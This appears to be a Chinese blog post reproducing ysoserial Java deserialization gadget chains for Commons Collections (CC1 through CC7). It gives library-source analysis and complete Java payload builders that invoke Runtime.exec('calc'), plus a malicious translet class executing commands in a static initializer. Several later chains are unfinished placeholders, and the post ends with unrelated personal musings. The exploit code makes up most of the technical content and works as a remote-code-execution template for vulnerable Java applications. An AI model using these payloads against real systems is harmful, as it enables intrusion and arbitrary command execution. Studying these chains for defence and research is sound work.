添砖 Java 贰(doing) 复现一部分主要是 ysoserial 上的经典链子;
测试文件 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 public  class  ClassicChains  {    public  static  void  main (String[] args)  throws  Exception {         serThenDes(getPayload());     }          private  static  void  serThenDes (Object object)  throws  IOException, ClassNotFoundException {                  ByteArrayOutputStream  bos  =  new  ByteArrayOutputStream ();                  ObjectOutputStream  oos  =  new  ObjectOutputStream (bos);         oos.writeObject(object);                  ObjectInputStream  ois  =  new  ObjectInputStream (new  ByteArrayInputStream (bos.toByteArray()));         ois.readObject();         ois.close();     }                    private  static  Object getPayload ()  throws  Exception {                  return  new  Object ();     } } 
 
CC6  
分析 参见添砖 Java 壹 ;
getPayload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 private  static  final  String  CC6_ANY1  =  "QST" ;    private  static  final  String  CC6_ANY2  =  "QSTQST" ;     private  static  final  String  CC6_ANY3  =  "QSTQSTQST" ;          private  static  Object getCC6Payload ()  throws  IllegalAccessException, NoSuchFieldException {         Transformer[] transformers = new  Transformer []{                 new  ConstantTransformer (Runtime.class),                 new  InvokerTransformer ("getMethod" , new  Class []{String.class, Class[].class}, new  Object []{"getRuntime" , null }),                 new  InvokerTransformer ("invoke" , new  Class []{Object.class, Object[].class}, new  Object []{Runtime.class, null }),                 new  InvokerTransformer ("exec" , new  Class []{String.class}, new  Object []{"calc" })         };                  Transformer[] fakeTransformers = new  Transformer []{new  ConstantTransformer (CC6_ANY1)};         Transformer  transformerChain  =  new  ChainedTransformer (fakeTransformers);         Map  innerMap  =  new  HashMap <>();         Map  outerMap  =  LazyMap.decorate(innerMap, transformerChain);         TiedMapEntry  tiedMapEntry  =  new  TiedMapEntry (outerMap, CC6_ANY2);         Map  expMap  =  new  HashMap ();         expMap.put(tiedMapEntry, CC6_ANY3);         outerMap.remove(CC6_ANY2);         Field  f  =  ChainedTransformer.class.getDeclaredField("iTransformers" );         f.setAccessible(true );         f.set(transformerChain, transformers);         return  expMap;     } 
 
CC1  
分析 首先构造 ChainedTransormer;
1 2 3 4 5 6 Transformer[] transformers = new  Transformer []{     new  ConstantTransformer (Runtime.class),     new  InvokerTransformer ("getMethod" , new  Class []{String.class, Class[].class}, new  Object []{"getRuntime" , null }),     new  InvokerTransformer ("invoke" , new  Class []{Object.class, Object[].class}, new  Object []{Runtime.class, null }),     new  InvokerTransformer ("exec" , new  Class []{String.class}, new  String []{"calc" }) }; 
 
为什么这里不直接 ConstantTransformer(Runtime)?因为 Runtime 类不是 Serializable 而 Class 是,故而用了这样一个小 trick;
然后祭出 TransformedMap ,特点是会在 setValue 时调用 transformer:
1 2 3 4 5       ChainedTransformer  chainedTransformer  =  new  ChainedTransformer (transformers);       Map  map  =  new  HashMap <>();       Map  evilMap  =  TransformedMap.decorate(map,null ,chainedTransformer);        
 
然后找在 readObject 时能调用到 setValue 的类 AnnotationInvocationHandler;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private  static  final  String  ONE_OF_MEMBERS_NAME  =  "value" ;private  static  final  String  ANY  =  "QST" ;		private  void  readObject (ObjectInputStream var1)  throws  IOException, ClassNotFoundException {         var1.defaultReadObject();         AnnotationType  var2  =  null ;         try  {             var2 = AnnotationType.getInstance(this .type);         } catch  (IllegalArgumentException var9) {             throw  new  InvalidObjectException ("Non-annotation type in annotation serial stream" );         }         Map  var3  =  var2.memberTypes();         Iterator  var4  =  this .memberValues.entrySet().iterator();         while (var4.hasNext()) {             Map.Entry  var5  =  (Map.Entry)var4.next();             String  var6  =  (String)var5.getKey();             Class  var7  =  (Class)var3.get(var6);             if  (var7 != null ) {                 Object  var8  =  var5.getValue();                 if  (!var7.isInstance(var8) && !(var8 instanceof  ExceptionProxy)) {                     var5.setValue((new  AnnotationTypeMismatchExceptionProxy (var8.getClass() + "["  + var8 + "]" )).setMember((Method)var2.members().get(var6)));                 }             }         }     } 
 
触发条件:
AnnotationType.getInstance(this.type) 要求 type 继承 Annotation 类; 
memberTypes 要有键名为 memberValues(也就是传入的 map)的键名的成员,也就是构造时的 type 要有名为 map 键名的一个属性; 
 
找一个有属性的注解即可,比如 Target 有 value 属性;
getPayload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 private  static  final  String  ONE_OF_MEMBERS_NAME  =  "value" ;private  static  final  String  ANY  =  "QST" ;private  static  Object getCC1Payload ()  throws  Exception {    Transformer[] transformers = new  Transformer []{             new  ConstantTransformer (Runtime.class),             new  InvokerTransformer ("getMethod" , new  Class []{String.class, Class[].class}, new  Object []{"getRuntime" , null }),             new  InvokerTransformer ("invoke" , new  Class []{Object.class, Object[].class}, new  Object []{null , null }),             new  InvokerTransformer ("exec" , new  Class []{String.class}, new  Object []{"calc" })     };     ChainedTransformer  chainedTransformer  =  new  ChainedTransformer (transformers);     Map  map  =  new  HashMap <>();     map.put(ONE_OF_MEMBERS_NAME, ANY);     Map  evilMap  =  TransformedMap.decorate(map, null , chainedTransformer);     Class  clazz  =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );     Constructor  con  =  clazz.getDeclaredConstructor(Class.class, Map.class);     con.setAccessible(true );     return  con.newInstance(Target.class, evilMap); } 
 
CC3  
TempImpl 加载字节码 加载字节码的很多种方式之一;
相关代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public  final  class  TemplatesImpl  implements  Templates , Serializable{                   static  final  class  TransletClassLoader  extends  ClassLoader  {         TransletClassLoader(ClassLoader parent) {             super (parent);         }         Class defineClass (final  byte [] b)  {             return  defineClass(null , b, 0 , b.length);         }     }               private  void  defineTransletClasses ()          throws  TransformerConfigurationException {                      for  (int  i  =  0 ; i < classCount; i++) {                 _class[i] = loader.defineClass(_bytecodes[i]);                              }     }               private  Translet getTransletInstance ()          throws  TransformerConfigurationException {         try  {             if  (_name == null ) return  null ;             if  (_class == null ) defineTransletClasses(); 			         }     }               public  synchronized  Transformer newTransformer ()          throws  TransformerConfigurationException     {         TransformerImpl transformer;         transformer = new  TransformerImpl (getTransletInstance(), _outputProperties,             _indentNumber, _tfactory);     } } 
 
实现这个调用就可以加载恶意字节码;
注意加载的类一定是继承了 AbstractTranslet,有检查,这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public  class  EvilTransletClass  extends  AbstractTranslet {        @Override          public  void  transform (DOM document, SerializationHandler[] handlers)  throws  TransletException {         }         @Override          public  void  transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler)  throws  TransletException {         }         static  {             try  {                 Runtime.getRuntime().exec("calc" );             } catch  (IOException e) {                 throw  new  RuntimeException (e);             }         } }  
 
分析 CC3 比较强大的一点功能是可以绕过对 InvokerTransformer 的禁用,转用 InstantiateTransformer ,区别就是 InstantiateTransformer 调用的是类的构造方法;
找到了 TrAXFilter:
1 2 3 4 5 6 7 8 public  TrAXFilter (Templates templates)   throws         TransformerConfigurationException     {         _templates = templates;         _transformer = (TransformerImpl) templates.newTransformer();         _transformerHandler = new  TransformerHandlerImpl (_transformer);         _useServicesMechanism = _transformer.useServicesMechnism();     } 
 
调用了 newTransformer(),前面就用 CC6 的前一半构造即可;
官方的 CC3 用的是 CC1 的前一半,故而受 Java 版本限制,我们用 CC6 的前一半可以绕过这个限制通杀所有 Java 版本( 和 CC6)的特点一样;
这条链子比 CC6 要强一点,因为可以绕过对 InvokerTransformer 可能的禁用;
getPayload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 private  static  final  String  CC3_ANY1  =  "QST" ;private  static  final  String  CC3_ANY2  =  "QSTQST" ;private  static  final  String  CC3_ANY3  =  "QSTQSTQST" ;private  static  final  int  CC3_ANY4  =  1 ;private  static  Object getCC3Payload ()  throws  Exception {    Templates  templates  =  new  TemplatesImpl ();     setFieldValue(templates, "_bytecodes" , new  byte [][]{ClassPool.getDefault().get(EvilTransletClass.class.getName()).toBytecode()});     setFieldValue(templates, "_name" , CC3_ANY1);     setFieldValue(templates, "_tfactory" , new  TransformerFactoryImpl ());     Transformer[] transformers = new  Transformer []{             new  ConstantTransformer (TrAXFilter.class),             new  InstantiateTransformer (new  Class []{Templates.class}, new  Object []{templates})     };               Transformer[] fakeTransformers = new  Transformer []{new  ConstantTransformer (CC3_ANY4)};     Transformer  transformerChain  =  new  ChainedTransformer (fakeTransformers);     Map  innerMap  =  new  HashMap <>();     Map  outerMap  =  LazyMap.decorate(innerMap, transformerChain);     TiedMapEntry  tiedMapEntry  =  new  TiedMapEntry (outerMap, CC3_ANY2);     Map  expMap  =  new  HashMap ();     expMap.put(tiedMapEntry, CC3_ANY3);     outerMap.remove(CC3_ANY2);     setFieldValue(transformerChain, "iTransformers" , transformers);     return  expMap; } 
 
注意 EvilTransletClass 是上面我自己定义的;
CC5  
分析 和 CC6 挺像,更朴实无华的调用到 Lazymap#get();
注意到 TiedMapEntry#toString()  会调用 this.getValue() 进而调用 Map#get();
1 2 3 public  String toString ()  {       return  this .getKey() + "="  + this .getValue();    } 
 
而 Object#toString() 的调用就比较好找了,注意到 BadAttributeValueExpException#readObject():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private  void  readObject (ObjectInputStream ois)  throws  IOException, ClassNotFoundException {    ObjectInputStream.GetField  gf  =  ois.readFields();     Object  valObj  =  gf.get("val" , null );     if  (valObj == null ) {         val = null ;     } else  if  (valObj instanceof  String) {         val= valObj;     } else  if  (System.getSecurityManager() == null              || valObj instanceof  Long             || valObj instanceof  Integer             || valObj instanceof  Float             || valObj instanceof  Double             || valObj instanceof  Byte             || valObj instanceof  Short             || valObj instanceof  Boolean) {         val = valObj.toString();     } else  {          val = System.identityHashCode(valObj) + "@"  + valObj.getClass().getName();     } } 
 
System.getSecurityManager() 默认为 null ,故将序列化流里的对象的 val 设置为指向带 Transformer 的 LazyMap 的 EntryMap 即可;
getPayload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private  static  final  String  CC5_ANY  =  "QST" ;       private  static  Object getCC5Payload ()  throws  Exception {        Transformer[] transformers = new  Transformer []{                new  ConstantTransformer (Runtime.class),                new  InvokerTransformer ("getMethod" , new  Class []{String.class, Class[].class}, new  Object []{"getRuntime" , null }),                new  InvokerTransformer ("invoke" , new  Class []{Object.class, Object[].class}, new  Object []{null , null }),                new  InvokerTransformer ("exec" , new  Class []{String.class}, new  Object []{"calc" })        };        Transformer  chainedTransformer  =  new  ChainedTransformer (transformers);        Map  lazymap  =  LazyMap.decorate(new  HashMap (), chainedTransformer);        TiedMapEntry  tiedMapEntry  =  new  TiedMapEntry (lazymap, CC5_ANY);        BadAttributeValueExpException  evilE  =  new  BadAttributeValueExpException (null );        setFieldValue(evilE, "val" , tiedMapEntry);        return  evilE;    } 
 
CC7  
分析 还是 Lazymap ,区别是这次调的 AbstractMap#equals();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public  boolean  equals (Object o)  {    if  (o == this )         return  true ;     if  (!(o instanceof  Map))         return  false ;     Map<?,?> m = (Map<?,?>) o;     if  (m.size() != size())         return  false ;     try  {         Iterator<Entry<K,V>> i = entrySet().iterator();         while  (i.hasNext()) {             Entry<K,V> e = i.next();             K  key  =  e.getKey();             V  value  =  e.getValue();             if  (value == null ) {                 if  (!(m.get(key)==null  && m.containsKey(key)))                     return  false ;             } else  {                 if  (!value.equals(m.get(key)))                     return  false ;             }         }     } catch  (ClassCastException unused) {         return  false ;     } catch  (NullPointerException unused) {         return  false ;     }     return  true ; } 
 
想进到 m.map() 两条约束:
o instanceof Map,必须的; 
m.size() == size(),需要控制一下; 
 
再找哪里调了这个 equals,Hashtable#readObject() 调用  :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37     private  void  readObject (java.io.ObjectInputStream s)          throws  IOException, ClassNotFoundException    {                        for  (; elements > 0 ; elements--) {            @SuppressWarnings("unchecked")                 K  key  =  (K)s.readObject();            @SuppressWarnings("unchecked")                 V  value  =  (V)s.readObject();                        reconstitutionPut(table, key, value);        }    } private  void  reconstitutionPut (Entry<?,?>[] tab, K key, V value)        throws  StreamCorruptedException    {        if  (value == null ) {            throw  new  java .io.StreamCorruptedException();        }                        int  hash  =  key.hashCode();        int  index  =  (hash & 0x7FFFFFFF ) % tab.length;        for  (Entry<?,?> e = tab[index] ; e != null  ; e = e.next) {            if  ((e.hash == hash) && e.key.equals(key)) {                throw  new  java .io.StreamCorruptedException();            }        }                @SuppressWarnings("unchecked")         Entry<K,V> e = (Entry<K,V>)tab[index];        tab[index] = new  Entry <>(hash, key, value, e);        count++;    } 
 
想走到 e.key.equals(key) 要求 e.hash == key.hashCode(),与运算前面为 false 后面就不会判断了,如何构造使前面相等?
要懂一点哈希表,看这个结构,e.hash 是上一个存进去的到这个 index 的 Entry.hash,也就是两个 key 的 Object.hashcode() 要相等,其中一个 key 是我们要调 AbstractMap#equals() 的 Hashmap,故先构造一下;
AbstractMap#hashCode() 的逻辑是这样的:
1 2 3 4 5 6 7 public  int  hashCode ()  {       int  h  =  0 ;        Iterator<Entry<K,V>> i = entrySet().iterator();        while  (i.hasNext())            h += i.next().hashCode();        return  h;    } 
 
把每个 Entry 的 hashCode() 相加得到这个 Map 的 hashCode(),再看 Entry#hashCode() 怎么写;
1 2 3 4 5 6 7   static  class  Node <K,V> implements  Map .Entry<K,V> {       public  final  int  hashCode ()  {           return  Objects.hashCode(key) ^ Objects.hashCode(value);       }          } 
 
因此 LazyMap#hashCode() 最后只与 HashMap 中每个键值对的 hashCode() 有关,而 Node#hashCode()  只把 key 和 value 的值简单异或了,故而撞 key 很容易实现,选用 "00" 和 ".n" 即可;
有个问题,这里构造会多调用一次 LazyMap#get() 导致 keyOuterMap 多出一个和 keySameHashMap.key 相同 key 的键值对,value.class 是 ProcessImpl 无法反序列化,因此要手动移除掉这个键;
getPayload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 private  static  final  String  CC7_SAME_HASH1  =  "00" ;private  static  final  String  CC7_SAME_HASH2  =  ".n" ;private  static  final  String  CC7_ANY_VALUE  =  "QST" ;private  static  Object getCC7Payload ()  throws  Exception {    Transformer[] transformers = new  Transformer []{             new  ConstantTransformer (Runtime.class),             new  InvokerTransformer ("getMethod" , new  Class []{String.class, Class[].class}, new  Object []{"getRuntime" , null }),             new  InvokerTransformer ("invoke" , new  Class []{Object.class, Object[].class}, new  Object []{null , null }),             new  InvokerTransformer ("exec" , new  Class []{String.class}, new  Object []{"calc" })     };     Transformer  chainedTransformer  =  new  ChainedTransformer (new  Transformer []{new  ConstantTransformer (1 )});     Hashtable  evilH  =  new  Hashtable <>();     Map  keyInnerMap  =  new  HashMap <>();     Map  keyOuterMap  =  LazyMap.decorate(keyInnerMap, chainedTransformer);     keyInnerMap.put(CC7_SAME_HASH1, CC7_ANY_VALUE);     Map  keySameHashMap  =  new  HashMap <>();     keySameHashMap.put(CC7_SAME_HASH2, CC7_ANY_VALUE);     evilH.put(keySameHashMap, CC7_ANY_VALUE);     evilH.put(keyOuterMap, CC7_ANY_VALUE);     keyInnerMap.remove(CC7_SAME_HASH2);     setFieldValue(chainedTransformer, "iTransformers" , transformers);     return  evilH; } 
 
CC2 CommonsCollections4.x 在 CommonsCollections4.0 中,所有的 CC 链依然可用,只是 LazyMap#decorate() 更名为 LazyMap#lazyMap();
高版本就修了,4.0 还有两个链子:CC2 和 CC4;
感觉 4.0 是“ bug 越修越多”的典范,当然话不能这么说,库开发者很牛逼,修 bug 顺手的事儿,security reserachers 才是蛀虫罢;
分析 这次不用 Map 了,改用 Comparator,有 TransformingComparator#compare() 能启动 transformer:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public  class  TransformingComparator <I, O> implements  Comparator <I>, Serializable {    private  final  Comparator<O> decorated;     private  final  Transformer<? super  I, ? extends  O > transformer;     public  TransformingComparator (Transformer<? super  I, ? extends O> transformer)  {         this (transformer, ComparatorUtils.NATURAL_COMPARATOR);     }          public  TransformingComparator (Transformer<? super  I, ? extends O> transformer, Comparator<O> decorated)  {         this .decorated = decorated;         this .transformer = transformer;     }          public  int  compare (I obj1, I obj2)  {         O  value1  =  this .transformer.transform(obj1);         O  value2  =  this .transformer.transform(obj2);         return  this .decorated.compare(value1, value2);     } } 
 
找一条反序列化能走到 Comparator#compare() 的链子;
入口为 PriorityQueue:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 private  void  readObject (java.io.ObjectInputStream s)        throws  java.io.IOException, ClassNotFoundException {                s.defaultReadObject();                s.readInt();        SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);        queue = new  Object [size];                for  (int  i  =  0 ; i < size; i++)            queue[i] = s.readObject();                        heapify();    } private  void  heapify ()  {       for  (int  i  =  (size >>> 1 ) - 1 ; i >= 0 ; i--)            siftDown(i, (E) queue[i]);    }    private  void  siftDown (int  k, E x)  {        if  (comparator != null )            siftDownUsingComparator(k, x);        else             siftDownComparable(k, x);    } private  void  siftDownUsingComparator (int  k, E x)  {       int  half  =  size >>> 1 ;        while  (k < half) {            int  child  =  (k << 1 ) + 1 ;            Object  c  =  queue[child];            int  right  =  child + 1 ;            if  (right < size &&                comparator.compare((E) c, (E) queue[right]) > 0 )                c = queue[child = right];            if  (comparator.compare(x, (E) c) <= 0 )                break ;            queue[k] = c;            k = child;        }        queue[k] = x;    } 
 
heapify() 要求 size >= 2,且 queue[] 要有对应的元素;
siftDownUsingComparator() 要求 k < half ,即 size / 2 - 1 < size / 2,白给;
注意一点,之所以 CC2 和后面的 CC4 要求 commons-collections4.0,是因为 4.0 之前的版本 TransformingComparator 类未实现 Serializable 接口;
getPayload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 private  static  final  int  CC2_QUEUE_SIZE  =  2 ;private  static  final  String[] CC2_ANY_QUEUE = {"QST" , "WWJ" };@SuppressWarnings({"rawtypes", "unchecked"}) public  static  Object getCC2Payload ()  throws  Exception {    Transformer[] transformers = {             new  ConstantTransformer <Object, Object>(Runtime.class),             new  InvokerTransformer <>("getMethod" , new  Class []{String.class, Class[].class}, new  Object []{"getRuntime" , null }),             new  InvokerTransformer <>("invoke" , new  Class []{Object.class, Object[].class}, new  Object []{null , null }),             new  InvokerTransformer <>("exec" , new  Class []{String.class}, new  Object []{"calc" })     };     ChainedTransformer  chainedTransformer  =  new  ChainedTransformer (transformers);     TransformingComparator  transformingComparator  =  new  TransformingComparator (chainedTransformer);     PriorityQueue<Object> evilQ = new  PriorityQueue <>();     ClassicChains.setFieldValue(evilQ, "size" , CC2_QUEUE_SIZE);     ClassicChains.setFieldValue(evilQ, "queue" , CC2_ANY_QUEUE);     ClassicChains.setFieldValue(evilQ, "comparator" , transformingComparator);     return  evilQ; } 
 
会执行两次命令,因为 compare 两边一边调用一次 transform;
CC4  
分析 纯烂活,后半段是 CC3 绕过 InvokerTransformer 的原理,前半段是 CC2 通过 PriorityQueue 包装拉起 TransformingComparator 回调的原理;
getPayload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 private  static  final  String  CC4_ANY  =  "QST" ;private  static  final  int  CC4_QUEUE_SIZE  =  2 ;private  static  final  String[] CC4_ANY_QUEUE = {"QST" , "WWJ" };public  static  Object getCC4Payload ()  throws  Exception{    Templates  templates  =  new  TemplatesImpl ();     setFieldValue(templates, "_bytecodes" , new  byte [][]{ClassPool.getDefault().get(EvilTranslateClass.class.getName()).toBytecode()});     setFieldValue(templates, "_name" , CC4_ANY);     setFieldValue(templates, "_tfactory" , new  TransformerFactoryImpl ());     Transformer[] transformers = {             new  ConstantTransformer (TrAXFilter.class),             new  InstantiateTransformer (new  Class []{Templates.class},new  Object []{templates})     };     ChainedTransformer  chainedTransformer  =  new  ChainedTransformer (transformers);     TransformingComparator  transformingComparator  =  new  TransformingComparator (chainedTransformer);     PriorityQueue<Object> evilQ = new  PriorityQueue <>();     setFieldValue(evilQ, "size" , CC4_QUEUE_SIZE);     setFieldValue(evilQ, "queue" , CC4_ANY_QUEUE);     setFieldValue(evilQ, "comparator" , transformingComparator);     return  evilQ; } 
 
这个只执行一次,因为 compare 调用一次 transform 之后会抛出错误,不细究了;
标准的 CC 链子就这些;
CB1 todo 
todo
 
JDK7u21 todo 
todo
 
URLDNS todo 
todo
 
Groovy todo 
todo
 
Spring1 todo 
todo
 
Spring2 todo 
todo
 
JSON1 todo 
todo
 
悬 我承认我第一次看到“不会表达爱”这个句子的时候笑喷了,那是不会表达爱么,那是不爱;
我悬在空中,哭我自己现在以及将来的幸福;
我还是没有学会享受当下,以上;
疼 我求你们,求求你们,不要非常淡然的给自己青春插一片坟墓,然后变成一个什么都无所谓的人,至少把那坟墓藏起来,藏起来,看到这种东西我的心像要被挤碎了一样,真的,真真的……
我是很恋旧的人啊,虽然你们和我没有关系,但是不要伤害它……
算了也无所谓;
点名批评某 zk。